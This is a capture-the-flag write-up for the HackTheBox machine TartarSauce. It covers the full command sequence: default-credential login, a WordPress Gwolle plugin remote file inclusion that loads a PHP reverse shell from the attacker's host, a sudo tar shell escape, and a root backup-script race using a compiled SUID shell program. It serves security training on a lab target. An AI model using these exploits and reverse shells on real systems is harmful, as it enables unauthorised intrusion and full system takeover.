TartarSauce
A medium Linux box from HackTheBox, get initial access through a vulnerable wordpress plugin, then get privesc to a full user through tar, and then find a backup script that unzips a file as root, allowing you to privesc to root by unzipping a malicious archive with a custom root-owned SUID executable.
Recon
Start with the regular nmap
sudo nmap -sC -sV -oA nmap/init 10.10.10.88
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Landing Page
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
Trying out some of the endpoints, all are forbidden except for /webservices/monstra-3.0.4/ which shows that there is an instance of Monstra CMS running, version 3.0.4
Clicking on the login URL, try a couple default credentials - and admin:admin works, now have access to an admin account in the Monstra CMS
Looking at searchsploit
┌──(kali㉿kali)-[~/Documents/htb/tartarsauce]
└─$ searchsploit monstra
----------------------------------------------------------------------------------
...
Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote Code Execution | php/webapps/43348.txt
Monstra CMS 3.0.4 - Arbitrary Folder Deletion | php/webapps/44512.txt
Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload | php/webapps/48479.txt
Monstra cms 3.0.4 - Persitent Cross-Site Scripting | php/webapps/44502.txt
Monstra CMS 3.0.4 - Remote Code Execution (Authenticated) | php/webapps/49949.py
Monstra CMS < 3.0.4 - Cross-Site Scripting (1) | php/webapps/44855.py
Monstra CMS < 3.0.4 - Cross-Site Scripting (2) | php/webapps/44646.txt
...
And find there is an authenticated RCE with file upload
searchsploit -m php/webapps/48479.txt
Reading the file, its just going to the upload file section and uploading a webshell with a .PHP or .php7 extension, but it looks like the admin user doesn’t have write privileges to the website, and cannot save or modify any of the files
Moving on to gobuster, going to be using the /webservices/ directory, as that seems to be where everything is
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --url http://10.10.10.88/webservices/
And it finds the /wp/ directory, indicating that there is wordpress on the box
Going to the /webservices/wp/ directory, find a domain name “limbenjamin.com” and add it to /etc/hosts
Start a wpscan in the background while we poke at the site
wpscan --url http://10.10.10.88/webservices/wp -e ap --plugins-detection aggressive
[i] Plugin(s) Identified:
[+] akismet
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/
| Last Updated: 2022-07-26T16:13:00.000Z
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
| [!] The version is out of date, the latest version is 5.0
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/, status: 200
|
| Version: 4.0.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
[+] brute-force-login-protection
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/
| Latest Version: 1.5.3 (up to date)
| Last Updated: 2017-06-29T10:39:00.000Z
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/, status: 403
|
| Version: 1.5.3 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
[+] gwolle-gb
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/
| Last Updated: 2022-09-01T10:19:00.000Z
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
| [!] The version is out of date, the latest version is 4.3.0
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
|
| Version: 2.3.10 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
Now checking searchsploit
searchsploit gwolle
searchsploit brute-force-login-protection
searchsploit akismet
And find something interesting
WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion
php/webapps/38861.txt
Exploitation
Reading the textfile, it allows you to remotely include a php file from the Kali machine
In the form of this
http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]/
So create a php reverse shell in the working directory, then host a python server to reference it in the URL
Using this reverse shell
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cd php-reverse-shell
mv php-reverse-shell.php wp-load.php
# Replace with Kali machines IP
sed -i 's/127.0.0.1/KALI_IP/' wp-load.php
Then run
python3 -m http.server 80
Start a listener on port 1234
nc -lnvp 1234
And navigate to
http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.5/
And get a reverse shell!
Now upgrade to a full shell with
python -c 'import pty;pty.spawn("/bin/bash")'
Then
export TERM=xterm
Then background the process with CTRL+Z, and run
stty raw -echo; fg
And get a fully interactive shell as www-data
Now doing some enumeration, find that the www-data user can run tar as the “onuma” user
www-data@TartarSauce:/$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar
Looking up GTFObins tar, can see that we can get an upgraded shell as the onuma user fairly easily
sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
And get a shell as onuma, and the user flag
$ whoami
onuma
Doing more enumeration, find a weird looking systemd timer
systemctl list-timers --all > timers.txt
And find that there is a timer called “backuperer.timer” that runs “backuperer.service”
... UNIT ACTIVATES
... backuperer.timer backuperer.service
Then to find where they are
locate backuperer
/etc/systemd/system/multi-user.target.wants/backuperer.timer
/lib/systemd/system/backuperer.service
/lib/systemd/system/backuperer.timer
/usr/sbin/backuperer
Then when looking at the service file, see it just runs /usr/sbin/backuperer, a bash script
#!/bin/bash
#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------
# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check
# formatting
printbdr()
{
for n in $(seq 72);
do /usr/bin/printf $"-";
done
}
bdr=$(printbdr)
# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check
# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30
# Test the backup integrity
integrity_chk()
{
/usr/bin/diff -r $basedir $check$basedir
}
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
# Report errors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
else
# Clean up and save archive to the bkpdir.
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi
Which is run as root, so almost certainly a privesc angle here
Breaking the file down:
- Runs every 5 minutes
- Cleans up files from previous backups
- Backups html site to /var/tmp/RND
- Sleep for 30 seconds
- Extracts the contents of /var/tmp/RND into /var/tmp/check
- Validates the contents of /var/tmp/check against the original html site files
- If different - save a error log file
- If validated - remove all temp files and create a backup file in the /var/backup directory
Its a pretty convoluted privesc angle, the weak point of this script is in the unzipping of the /var/tmp/RND by root into /var/tmp/check, but it doesn’t delete it
The exploit runs as follows
- Create a malicious tar file with a executable owned by root with the SUID bit set inside
- Transfer the tar file over
- Wait for the backup script to run, then copy the malicious tar file into the .RND directory inside of /var/tmp/
- Wait 30 seconds for the program to stop sleeping
- Then execute the SUID executable owned by root in the /var/tmp/check/ directory before the program re-runs in 4 minutes 30 seconds to get root shell
Since the ownership of the file is included in the tar archive, need to create our malicious tar archive locally on the kali box
To create the file locally, need to know the architecture of the victim
uname -a
Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP Thu Feb 1 12:05:23 UTC 2018 i686 i686 i686 GNU/Linux
So it is a 32 bit Linux distro, need to compile accordingly
Locally, create a suid.c file with the contents
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/sh");
}
Then compile it with
gcc -m32 -o suid suid.c
Might need to install gcc-multilib with
sudo apt install gcc-multilib
If the compilation fails
Now create a nested list of directories, var/www/html inside the working directory, and put the suid executable in the html directory
mkdir -p var/www/html
cp suid var/www/html
Then give this suid file: Owned by root, followed by SUID bit + executable by everyone
sudo chown root:root var/www/html/suid
sudo chmod 6555 var/www/html/suid
You want the suid file inside var/www/html to look like this
ls -la var/www/html/
total 24
drwxr-xr-x 2 kali kali 4096 Sep 16 13:30 .
drwxr-xr-x 3 kali kali 4096 Sep 16 13:23 ..
-r-sr-sr-x 1 root root 15172 Sep 16 13:33 suid
Then zip it up with tar (starting at the var directory)
tar -zcvf setuid.tar.gz var/
The reason we need to include these nested directories is because of the validate check
# Test the backup integrity
integrity_chk()
{
/usr/bin/diff -r $basedir $check$basedir
}
Which is translated to
# Test the backup integrity
integrity_chk()
{
/usr/bin/diff -r /var/www/html /var/tmp/check/var/www/html
}
We want it to go into the branch where the file stays and it doesn’t get removed, so we need it to return some kind of differences
And in order to returns these differences, the directories need to exist inside of the /var/tmp/check folder, which are a put there when the archive gets unzipped
Now moving the file over to the victim with a python server
python -m http.server
And wget-ing the file into the /var/tmp directory
onuma@TartarSauce:/var/tmp$ wget 10.10.14.5:8000/setuid.tar.gz
Now need to wait for the script to run, can watch for it to run with
onuma@TartarSauce:/var/tmp$ watch -n 1 systemctl list-timers --all
... LEFT ... ACTIVATES
... 46s left ... backuperer.server
And paying attention to the LEFT column of the backuperer.service row, wait for the timer to roll over to 0s left, then exit out of the watch command with CTRL+C
onuma@TartarSauce:/var/tmp$ ls -la
total 11288
drwxrwxrwt 10 root root 4096 Sep 16 13:41 .
drwxr-xr-x 14 root root 4096 May 12 06:55 ..
-rw-r--r-- 1 onuma onuma 11511296 Sep 16 13:41 .fb65a0aed50b558e0bdb99bea44808a80f023495
-rw-r--r-- 1 onuma onuma 2698 Sep 16 13:37 setuid.tar.gz
...
Move the file to the temp folder
cp setuid.tar.gz .fb65a0aed50b558e0bdb99bea44808a80f023495
Then wait 30 seconds for the sleep to end, and for the /var/tmp/check/ directory to be created, and then run the root owned SUID file inside!
onuma@TartarSauce:/var/tmp$ cd check/var/www/html/
onuma@TartarSauce:/var/tmp/check/var/www/html$ ls -la
total 24
drwxr-xr-x 2 onuma onuma 4096 Sep 16 13:30 .
drwxr-xr-x 3 onuma onuma 4096 Sep 16 13:23 ..
-r-sr-sr-x 1 root root 15172 Sep 16 13:33 suid
Then run the file for root!
onuma@TartarSauce:/var/tmp/check/var/www/html$ ./suid
# whoami
root